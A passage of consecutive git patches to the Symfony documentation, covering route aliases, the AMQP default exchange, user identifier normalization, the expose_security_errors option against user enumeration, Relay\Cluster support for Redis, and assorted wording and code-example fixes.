+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Attribute\Route;
+
+        class ProductController
+        {
+            // this outputs the following generic deprecation message:
+            // Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            #[Route('/product/{id}',
+                name: 'product_details',
+                alias: new DeprecatedAlias(
+                    aliasName: 'product_show',
+                    package: 'acme/package',
+                    version: '1.2',
+                ),
+            )]
+            // Or, you can also define a custom deprecation message (%alias_id% placeholder is available)
+            #[Route('/product/{id}',
+                name: 'product_details',
+                alias: new DeprecatedAlias(
+                    aliasName: 'product_show',
+                    package: 'acme/package',
+                    version: '1.2',
+                    message: 'The "%alias_id%" route alias is deprecated. Please use "product_details" instead.',
+                ),
+            )]
+            public function show(): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # Move the concrete route definition under ``product_details``

From 32e93b8b32003bd7bbe123f21137a19d87c5c185 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 15:33:25 +0200
Subject: [PATCH 7035/7107] Tweaks and added the versionadded directive

---
 routing.rst | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/routing.rst b/routing.rst
index ee913f07b4c..bf3946b343d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1405,8 +1405,8 @@ Instead of duplicating the original route, you can create an alias for it.
 
         class ProductController
         {
-            // "alias" named argument indicates the name of the alias you want to create.
-            // The alias will point to the actual route "product_show"
+            // the "alias" argument assigns an alternate name to this route;
+            // the alias will point to the actual route "product_show"
             #[Route('/product/{id}', name: 'product_show', alias: ['product_details'])]
             public function show(): Response
             {
@@ -1451,17 +1451,21 @@ Instead of duplicating the original route, you can create an alias for it.
             $routes->alias('product_details', 'product_show');
         };
 
+.. versionadded:: 7.3
+
+    Support for route aliases in PHP attributes was introduced in Symfony 7.3.
+
 In this example, both ``product_show`` and ``product_details`` routes can
 be used in the application and will produce the same result.
 
 .. note::
 
-    Using non-attributes formats (YAML, XML and PHP) is the only way
-    to define an alias pointing to a route that you don't own.
+    YAML, XML, and PHP configuration formats are the only ways to define an alias
+    for a route that you do not own. You can't do this when using PHP attributes.
 
-    So that you can use your own route name for URL generation,
-    while actually using a route defined by a third-party bundle as the target of that URL generation,
-    as the 2 definitions are not required to be in the same config file (or even in the same format).
+    This allows you for example to use your own route name for URL generation,
+    while still targeting a route defined by a third-party bundle. The alias and
+    the original route do not need to be declared in the same file or format.
 
 .. _routing-alias-deprecation:
 

From c15467e0abef4c60c6e2265994fc5761127f7b2c Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 31 Mar 2025 13:32:59 +0200
Subject: [PATCH 7036/7107] [Messenger] [Amqp] Add default exchange support

---
 messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index fc8f9491022..f4c3f683627 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1645,11 +1645,15 @@ The transport has a number of options:
     Exchange flags
 
 ``exchange[name]``
-    Name of the exchange
+    Name of the exchange, an empty string can be used to use the default exchange
 
 ``exchange[type]`` (default: ``fanout``)
     Type of exchange
 
+.. versionadded:: 7.3
+
+    Empty string support for ``exchange[name]`` was introduced in Symfony 7.3.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::

From b17f770615cfe7beb1291746bb186cc07c4a8f8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 16:10:17 +0200
Subject: [PATCH 7037/7107] Minor tweak

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 08fdcf7f4dc..46ee188d68d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1645,7 +1645,7 @@ The transport has a number of options:
     Exchange flags
 
 ``exchange[name]``
-    Name of the exchange, an empty string can be used to use the default exchange
+    Name of the exchange. Use an empty string to use the default exchange.
 
 ``exchange[type]`` (default: ``fanout``)
     Type of exchange

From 326e7e52585777d299865e5b788b9c00519aabe4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 16:45:15 +0200
Subject: [PATCH 7038/7107] Tweaks and rewords

---
 security/custom_authenticator.rst | 73 +++++++++++++++----------------
 1 file changed, 35 insertions(+), 38 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 5877194ab4e..ed22ab96d19 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -219,10 +219,10 @@ identifier (e.g. the username or email)::
 User Identifier
 ~~~~~~~~~~~~~~~
 
-The user identifier is a unique string that identifies the user. It is used
-to load the user using :ref:`the user provider <security-user-providers>`.
-This identifier is often something like the user's email address or username,
-but it could be any unique value associated with the user.
+The user identifier is a unique string that identifies the user. It is often
+something like their email address or username, but it can be any unique value
+associated with the user. It allows loading the user through the configured
+:ref:`user provider <security-user-providers>`.
 
 .. note::
 
@@ -262,21 +262,39 @@ but it could be any unique value associated with the user.
             }
         }
 
-It is a good practice to normalize the user identifier before using it.
-For example, this ensures that variations such as "john.doe", "John.Doe",
-or "JOHN.DOE" refer to the same user.
-Normalization can include converting the identifier to lowercase
-and trimming unnecessary spaces.
-You can optionally pass a user identifier normalizer as third argument to the
-``UserBadge``. This callable receives the ``$userIdentifier``
-and must return a normalized user identifier as a string.
+It's a good practice to normalize the user identifier before using it. This
+ensures that variations like "john.doe", "John.Doe", or "JOHN.DOE" are treated
+as the same user.
+
+Normalization typically involves converting the identifier to lowercase and
+trimming extra spaces. For example, Google considers the following email
+addresses equivalent: ``john.doe@gmail.com``, ``j.hon.d.oe@gmail.com``, and
+``johndoe@gmail.com``. This is due to normalization rules that remove dots and
+lowercase the address.
+
+In enterprise environments, users might authenticate using different identifier
+formats, such as:
+
+* ``john.doe@acme.com``
+* ``acme.com\jdoe``
+* ``https://acme.com/+jdoe``
+* ``acct:jdoe@acme.com``
+
+Applying normalization (e.g. lowercasing, trimming, or unifying formats) helps
+ensure consistent identity resolution and prevents duplication caused by
+format differences.
+
+In Symfony applications, you can optionally pass a user identifier normalizer as
+the third argument to the ``UserBadge``. This callable receives the ``$userIdentifier``
+and must return a normalized string.
 
 .. versionadded:: 7.3
 
-    The support of the user identifier normalizer was introduced in Symfony 7.3.
+    Support for user identifier normalizers was introduced in Symfony 7.3.
 
-For instance, the example below uses a normalizer that converts usernames to a normalized, ASCII-only, lowercase format,
-suitable for consistent comparison and storage.
+For instance, the example below uses a normalizer that converts usernames to
+a normalized, ASCII-only, lowercase format suitable for consistent comparison
+and storage::
 
     // src/Security/NormalizedUserBadge.php
     namespace App\Security;
@@ -319,33 +337,12 @@ suitable for consistent comparison and storage.
         }
     }
 
-.. note::
-
-    For example, Google treats the following email addresses as equivalent:
-    ``john.doe@gmail.com``, ``j.hon.d.oe@gmail.com``, and ``johndoe@gmail.com``.
-    This is because Google applies normalization rules that remove dots
-    and convert the address to lowercase (though behavior varies across services).
-
-.. note::
-
-    In enterprise environments, a user may authenticate using different formats
-    of their identifier, such as:
-
-    - ``john.doe@acme.com``
-    - ``acme.com\jdoe``
-    - ``https://acme.com/+jdoe``
-    - ``acct:jdoe@acme.com``
-
-    Applying normalization (e.g., trimming, lowercasing, or format unification)
-    helps ensure consistent identity recognition across systems and prevents
-    duplicates caused by format variations.
-
 User Credential
 ~~~~~~~~~~~~~~~
 
-The user credential is used to authenticate the user i.e. to verify
+The user credential is used to authenticate the user; that is, to verify
 the validity of the provided information (such as a password, an API token,
-or other custom credentials).
+or custom credentials).
 
 The following credential classes are supported by default:
 

From 7dfeaba1252a9b2d50280f667c87cad7a7e390dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 May 2025 10:45:42 +0200
Subject: [PATCH 7039/7107] Fixed a minor RST syntax issue

---
 setup/_update_dep_errors.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/_update_dep_errors.rst.inc b/setup/_update_dep_errors.rst.inc
index 49ae97067e4..5dc7e6745bc 100644
--- a/setup/_update_dep_errors.rst.inc
+++ b/setup/_update_dep_errors.rst.inc
@@ -24,7 +24,7 @@ versions of other libraries. Check your error message to debug.
 Another issue that may happen is that the project dependencies can be installed
 on your local computer but not on the remote server. This usually happens when
 the PHP versions are different on each machine. The solution is to add the
-`platform`_ config option to your `composer.json` file to define the highest
+`platform`_ config option to your ``composer.json`` file to define the highest
 PHP version allowed for the dependencies (set it to the server's PHP version).
 
 .. _`platform`: https://getcomposer.org/doc/06-config.md#platform

From ece1723cd9f4a3bf908159742444cd8c12ae5971 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 May 2025 10:46:47 +0200
Subject: [PATCH 7040/7107] Fixed a minor RST syntax issue

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 3362f4cc2db..23dd8d948a1 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -222,7 +222,7 @@ Available Options
 
 .. versionadded:: 7.1
 
-    The option `sentinel_master` as an alias for `redis_sentinel` was introduced
+    The option ``sentinel_master`` as an alias for ``redis_sentinel`` was introduced
     in Symfony 7.1.
 
 .. note::

From fa9df566b994fe1ee54f851e087f2bdf0a4b30b0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 May 2025 07:54:14 +0200
Subject: [PATCH 7041/7107] [Security] Fixed a code example

---
 security/custom_authenticator.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index ed22ab96d19..fd7fa0b139e 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -300,14 +300,13 @@ and storage::
     namespace App\Security;
 
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
-    use Symfony\Component\String\UnicodeString;
     use function Symfony\Component\String\u;
 
     final class NormalizedUserBadge extends UserBadge
     {
         public function __construct(string $identifier)
         {
-            $callback = static fn (string $identifier) => u($identifier)->normalize(UnicodeString::NFKC)->ascii()->lower()->toString();
+            $callback = static fn (string $identifier): string => u($identifier)->normalize(UnicodeString::NFKC)->ascii()->lower()->toString();
 
             parent::__construct($identifier, null, $callback);
         }
@@ -318,7 +317,7 @@ and storage::
 
     final class PasswordAuthenticator extends AbstractLoginFormAuthenticator
     {
-        // Simplified for brievety
+        // simplified for brevity
         public function authenticate(Request $request): Passport
         {
             $username = (string) $request->request->get('username', '');
@@ -331,7 +330,7 @@ and storage::
                 new NormalizedUserBadge($username),
                 new PasswordCredentials($password),
                 [
-                    //All other useful badges
+                    // all other useful badges
                 ]
             );
         }

From d923acb02ff743309fe3b2be2a69c95aee704928 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 May 2025 08:43:53 +0200
Subject: [PATCH 7042/7107] [Security] Document the new
 `expose_security_errors` option

---
 reference/configuration/security.rst | 31 +++++++++++++++++++++++++++-
 1 file changed, 30 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index c8609c20c9c..8bae363d9cf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -23,7 +23,8 @@ key in your application configuration.
 
 * `access_denied_url`_
 * `erase_credentials`_
-* `hide_user_not_found`_
+* `expose_security_errors`_
+* `hide_user_not_found`_ (deprecated)
 * `session_fixation_strategy`_
 
 **Advanced Options**:
@@ -71,11 +72,39 @@ after authentication::
    Since Symfony 7.3, ``eraseCredentials()`` methods are deprecated and are
    not called if they have the ``#[\Deprecated]`` attribute.
 
+expose_security_errors
+----------------------
+
+**type**: ``string`` **default**: ``'none'``
+
+.. deprecated:: 7.3
+
+    The ``expose_security_errors`` option was introduced in Symfony 7.3
+
+User enumeration is a common security issue where attackers infer valid usernames
+based on error messages. For example, a message like "This user does not exist"
+shown by your login form reveals whether a username exists.
+
+This option lets you hide some or all errors related to user accounts
+(e.g. blocked or expired accounts) to prevent this issue. Instead, these
+errors will trigger a generic ``BadCredentialsException``. The value of this
+option can be one of the following:
+
+* ``'none'``: hides all user-related security exceptions;
+* ``'account_status'``: shows account-related exceptions (e.g. blocked or expired
+  accounts) but only for users who provided the correct password;
+* ``'all'``: shows all security-related exceptions.
+
 hide_user_not_found
 -------------------
 
 **type**: ``boolean`` **default**: ``true``
 
+.. deprecated:: 7.3
+
+    The ``hide_user_not_found`` option was deprecated in favor of the
+    ``expose_security_errors`` option in Symfony 7.3.
+
 If ``true``, when a user is not found a generic exception of type
 :class:`Symfony\\Component\\Security\\Core\\Exception\\BadCredentialsException`
 is thrown with the message "Bad credentials".

From c1b44e71348da9b97d9a5aac119dfa9dc1507ac9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 May 2025 10:16:02 +0200
Subject: [PATCH 7043/7107] [Cache][Lock] Add support for `Relay\Cluster` in
 docs

---
 components/cache/adapters/redis_adapter.rst | 32 +++++++++++++++++++--
 components/lock.rst                         | 10 +++++--
 2 files changed, 37 insertions(+), 5 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 9f29eae84e7..c0295b487a0 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -20,9 +20,9 @@ to utilize a cluster of servers to provide redundancy and/or fail-over is also a
 
     **Requirements:** At least one `Redis server`_ must be installed and running to use this
     adapter. Additionally, this adapter requires a compatible extension or library that implements
-    ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay`` or ``\Predis``.
+    ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay``, ``\Relay\Cluster`` or ``\Predis``.
 
-This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_ or `Predis`_ instance to be
+This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_, `RelayCluster`_ or `Predis`_ instance to be
 passed as the first parameter. A namespace and default cache lifetime can optionally be passed
 as the second and third parameters::
 
@@ -48,6 +48,10 @@ as the second and third parameters::
         ?MarshallerInterface $marshaller = null
     );
 
+.. versionadded:: 7.3
+
+    Support for ``Relay\Cluster`` was introduced in Symfony 7.3.
+
 Configure the Connection
 ------------------------
 
@@ -226,11 +230,34 @@ Available Options
 ``ssl`` (type: ``array``, default: ``null``)
     SSL context options. See `php.net/context.ssl`_ for more information.
 
+``relay_cluster_context`` (type: ``array``, default: ``[]``)
+    Defines configuration options specific to ``\Relay\Cluster``. For example, to
+    user a self-signed certificate for testing in local environment::
+
+        $options = [
+            // ...
+            'relay_cluster_context' => [
+                // ...
+                'stream' => [
+                    'verify_peer' => false,
+                    'verify_peer_name' => false,
+                    'allow_self_signed' => true,
+                    'local_cert' => '/valkey.crt',
+                    'local_pk' => '/valkey.key',
+                    'cafile' => '/valkey.crt',
+                ],
+            ],
+        ];
+
 .. versionadded:: 7.1
 
     The option ``sentinel_master`` as an alias for ``redis_sentinel`` was introduced
     in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    The ``relay_cluster_context`` option was introduced in Symfony 7.3.
+
 .. note::
 
     When using the `Predis`_ library some additional Predis-specific options are available.
@@ -359,6 +386,7 @@ Supports key rotation, ensuring secure decryption with both old and new keys::
 .. _`RedisArray`: https://github.com/phpredis/phpredis/blob/develop/arrays.md
 .. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/develop/cluster.md
 .. _`Relay`: https://relay.so/
+.. _`RelayCluster`: https://relay.so/docs/1.x/connections#cluster
 .. _`Predis`: https://packagist.org/packages/predis/predis
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
diff --git a/components/lock.rst b/components/lock.rst
index b8ba38c8fc7..2403763bd4a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -612,9 +612,9 @@ RedisStore
 ~~~~~~~~~~
 
 The RedisStore saves locks on a Redis server, it requires a Redis connection
-implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster``, ``\Relay\Relay`` or
-``\Predis`` classes. This store does not support blocking, and expects a TTL to
-avoid stalled locks::
+implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster``, ``\Relay\Relay``,
+``\Relay\Cluster`` or ``\Predis`` classes. This store does not support blocking,
+and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\RedisStore;
 
@@ -623,6 +623,10 @@ avoid stalled locks::
 
     $store = new RedisStore($redis);
 
+.. versionadded:: 7.3
+
+    Support for ``Relay\Cluster`` was introduced in Symfony 7.3.
+
 .. _lock-store-semaphore:
 
 SemaphoreStore

From e37d364158f6f8e3793b39b866cc59dde4aa48fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 May 2025 08:11:20 +0200
Subject: [PATCH 7044/7107] Minor tweaks

---
 scheduler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 4c5955a9470..f88d9e4f328 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -895,12 +895,12 @@ Modifying the Schedule at Runtime
 
 .. versionadded:: 6.4
 
-    Modifying the schedule at runtime and recalculating the heap was introduced in Symfony 6.4.
+    Support for modifying the schedule at runtime and recalculating the heap
+    was introduced in Symfony 6.4.
 
 When a recurring message is added to or removed from the schedule,
 the scheduler automatically restarts and recalculates the internal trigger heap.
-This allows dynamic control over scheduled tasks during runtime.
-code::
+This enables dynamic control of scheduled tasks at runtime::
 
     // src/Scheduler/DynamicScheduleProvider.php
     namespace App\Scheduler;
@@ -921,7 +921,7 @@ code::
 
         public function clearAndAddMessages(): void
         {
-            // Clear the current schedule (if any) and add new recurring messages
+            // clear the current schedule and add new recurring messages
             $this->schedule?->clear();
             $this->schedule?->add(
                 RecurringMessage::cron('@hourly', new DoActionMessage()),

From 9ef310b4f6201f1e43250ab7705a845c6353b5a6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 May 2025 08:35:11 +0200
Subject: [PATCH 7045/7107] Removed an unneeded versionadded directive

---
 scheduler.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index cec0fe25ede..de2e448f5af 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -864,11 +864,6 @@ code::
 Modifying the Schedule at Runtime
 ---------------------------------
 
-.. versionadded:: 6.4
-
-    Support for modifying the schedule at runtime and recalculating the heap
-    was introduced in Symfony 6.4.
-
 When a recurring message is added to or removed from the schedule,
 the scheduler automatically restarts and recalculates the internal trigger heap.
 This enables dynamic control of scheduled tasks at runtime::

From 47988f995bf4d180cbcb9cbe73d11692f49c4baa Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 29 May 2025 13:19:16 +0200
Subject: [PATCH 7046/7107] [Serializer] Fix YAML normalizationContext and
 denormalizationContext names

---
 serializer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 440494d0be1..cc514684bab 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -520,8 +520,8 @@ You can also specify a context specific to normalization or denormalization:
             attributes:
                 createdAt:
                     contexts:
-                        - normalizationContext: { datetime_format: 'Y-m-d' }
-                          denormalizationContext: { datetime_format: !php/const \DateTime::RFC3339 }
+                        - normalization_context: { datetime_format: 'Y-m-d' }
+                          denormalization_context: { datetime_format: !php/const \DateTime::RFC3339 }
 
     .. code-block:: xml
 
@@ -1371,7 +1371,7 @@ normalizers (in order of priority):
 
             $propertyInfo = new PropertyInfoExtractor([], [new PhpDocExtractor(), new ReflectionExtractor()]);
             $normalizers = [new ObjectNormalizer(new ClassMetadataFactory(new AttributeLoader()), null, null, $propertyInfo), new ArrayDenormalizer()];
-            
+
             $this->serializer = new Serializer($normalizers, [new JsonEncoder()]);
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`

From b356a5b6d86cf9a04cc3f438be00150c3ec437c5 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 29 May 2025 13:36:20 +0200
Subject: [PATCH 7047/7107] [EventDispatcher] Document event name is optionnal

---
 components/event_dispatcher.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 8cd676dd5fe..62a3707bb39 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -277,8 +277,9 @@ Dispatch the Event
 
 The :method:`Symfony\\Component\\EventDispatcher\\EventDispatcher::dispatch`
 method notifies all listeners of the given event. It takes two arguments:
-the ``Event`` instance to pass to each listener of that event and the name
-of the event to dispatch::
+the ``Event`` instance to pass to each listener of that event and optionally the
+name of the event to dispatch. If it's not defined, the class of the ``Event``
+instance will be used::
 
     use Acme\Store\Event\OrderPlacedEvent;
     use Acme\Store\Order;

From 65599c4cec1f2bc3661fad1fe9e3594146bd65f7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 29 May 2025 14:07:18 +0200
Subject: [PATCH 7048/7107] Replace get_class() calls by ::class

---
 components/options_resolver.rst                    | 2 +-
 components/property_info.rst                       | 2 +-
 components/yaml.rst                                | 2 +-
 console/verbosity.rst                              | 2 +-
 doctrine/associations.rst                          | 2 +-
 security/user_providers.rst                        | 2 +-
 service_container/service_subscribers_locators.rst | 6 +++---
 7 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 6b033a1b69c..35e443d3d94 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -922,7 +922,7 @@ can change your code to do the configuration only once per class::
         public function __construct(array $options = [])
         {
             // What type of Mailer is this, a Mailer, a GoogleMailer, ... ?
-            $class = get_class($this);
+            $class = $this::class;
 
             // Was configureOptions() executed before for this class?
             if (!isset(self::$resolversByClass[$class])) {
diff --git a/components/property_info.rst b/components/property_info.rst
index 6d57c1bb274..238da6396ab 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -131,7 +131,7 @@ class exposes public methods to extract several types of information:
         $propertyInfo->getProperties($awesomeObject);
 
         // Good!
-        $propertyInfo->getProperties(get_class($awesomeObject));
+        $propertyInfo->getProperties($awesomeObject::class);
         $propertyInfo->getProperties('Example\Namespace\YourAwesomeClass');
         $propertyInfo->getProperties(YourAwesomeClass::class);
 
diff --git a/components/yaml.rst b/components/yaml.rst
index 268ad5c5452..700ebd22379 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -296,7 +296,7 @@ You can make it convert to a ``DateTime`` instance by using the ``PARSE_DATETIME
 flag::
 
     $date = Yaml::parse('2016-05-27', Yaml::PARSE_DATETIME);
-    var_dump(get_class($date)); // DateTime
+    var_dump($date::class); // DateTime
 
 Dumping Multi-line Literal Blocks
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/console/verbosity.rst b/console/verbosity.rst
index f7a1a1e5e59..b822e3d7534 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -60,7 +60,7 @@ level. For example::
 
             // available methods: ->isQuiet(), ->isVerbose(), ->isVeryVerbose(), ->isDebug()
             if ($output->isVerbose()) {
-                $output->writeln('User class: '.get_class($user));
+                $output->writeln('User class: '.$user::class);
             }
 
             // alternatively you can pass the verbosity level PHP constant to writeln()
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 2279d02a851..bb670eeee52 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -447,7 +447,7 @@ by adding JOINs.
         $category = $product->getCategory();
 
         // prints "Proxies\AppEntityCategoryProxy"
-        dump(get_class($category));
+        dump($category::class);
         die();
 
     This proxy object extends the true ``Category`` object, and looks and
diff --git a/security/user_providers.rst b/security/user_providers.rst
index 7e9de36eff1..73b723faaaf 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -425,7 +425,7 @@ command will generate a nice skeleton to get you started::
         public function refreshUser(UserInterface $user): UserInterface
         {
             if (!$user instanceof User) {
-                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
+                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', $user::class));
             }
 
             // Return a User object after making sure its data is "fresh".
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 14cdb010152..d67384d50dd 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -36,7 +36,7 @@ to handle their respective command when it is asked for::
 
         public function handle(Command $command): mixed
         {
-            $commandClass = get_class($command);
+            $commandClass = $command::class;
 
             if (!$handler = $this->handlerMap[$commandClass] ?? null) {
                 return;
@@ -94,7 +94,7 @@ in the service subscriber::
 
         public function handle(Command $command): mixed
         {
-            $commandClass = get_class($command);
+            $commandClass = $command::class;
 
             if ($this->locator->has($commandClass)) {
                 $handler = $this->locator->get($commandClass);
@@ -328,7 +328,7 @@ attribute::
 
         public function handle(Command $command): mixed
         {
-            $commandClass = get_class($command);
+            $commandClass = $command::class;
 
             if ($this->handlers->has($commandClass)) {
                 $handler = $this->handlers->get($commandClass);

From cb8e2ff4f85289bf6be15ab40ad4736397f7fa0d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 21 Mar 2025 11:13:12 +0100
Subject: [PATCH 7049/7107] =?UTF-8?q?[AssetMapper]=20Adding=20info=20that?=
 =?UTF-8?q?=20always=20*all*=20entrypoints=20are=20included=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 frontend/asset_mapper.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 061c4598bfa..bab55035271 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1081,8 +1081,10 @@ loads the ``app.js`` file *and* the ``checkout.js`` file. It's important
 to *not* call ``parent()`` in the ``importmap`` block. Each page can only
 have *one* importmap, so ``importmap()`` must be called exactly once.
 
-If, for some reason, you want to execute *only* ``checkout.js``
+If you want to execute *only* ``checkout.js``
 and *not* ``app.js``, pass only ``checkout`` to ``importmap()``.
+In this case, still **both** files are added to ``<script type="importmap">``,
+but only ``checkout`` is executed (via ``<script type="module">import 'checkout';</script>``).
 
 Using a Content Security Policy (CSP)
 -------------------------------------

From 45c11e5a0f5690eb8a30cc87ba447e96939056ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 May 2025 16:57:15 +0200
Subject: [PATCH 7050/7107] Tweaks and rewords

---
 frontend/asset_mapper.rst | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index be013514a8f..ca500a9686d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1095,16 +1095,19 @@ both ``app`` and ``checkout``:
         {{ importmap(['app', 'checkout']) }}
     {% endblock %}
 
-By passing both ``app`` and ``checkout``, the ``importmap()`` function will
-output the ``importmap`` and also add a ``<script type="module">`` tag that
-loads the ``app.js`` file *and* the ``checkout.js`` file. It's important
-to *not* call ``parent()`` in the ``importmap`` block. Each page can only
-have *one* importmap, so ``importmap()`` must be called exactly once.
-
-If you want to execute *only* ``checkout.js``
-and *not* ``app.js``, pass only ``checkout`` to ``importmap()``.
-In this case, still **both** files are added to ``<script type="importmap">``,
-but only ``checkout`` is executed (via ``<script type="module">import 'checkout';</script>``).
+The ``importmap()`` function always includes the full import map to ensure all
+module definitions are available on the page. It also adds a ``<script type="module">``
+tag to load the specific JavaScript entry files you pass to it (in the example
+above, the ``app.js`` file *and* the ``checkout.js`` file).
+
+.. warning::
+
+    Do not call ``parent()`` inside the ``{% block importmap %}`` Twig block. Each
+    page can include only one import map, so ``importmap()`` must be called exactly once.
+
+If you want to execute *only* ``checkout.js`` (and not ``app.js``), call
+``{{ importmap('checkout') }}``. In this case, the full import map will still be
+included in the page, but only the ``checkout.js`` file will actually be loaded.
 
 Using a Content Security Policy (CSP)
 -------------------------------------

From f6e1f25d940ee3b0df905a7bf2336826f4a41dff Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Fri, 30 May 2025 07:12:22 +0200
Subject: [PATCH 7051/7107] fix directive

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 8bae363d9cf..ef7247e330e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -77,7 +77,7 @@ expose_security_errors
 
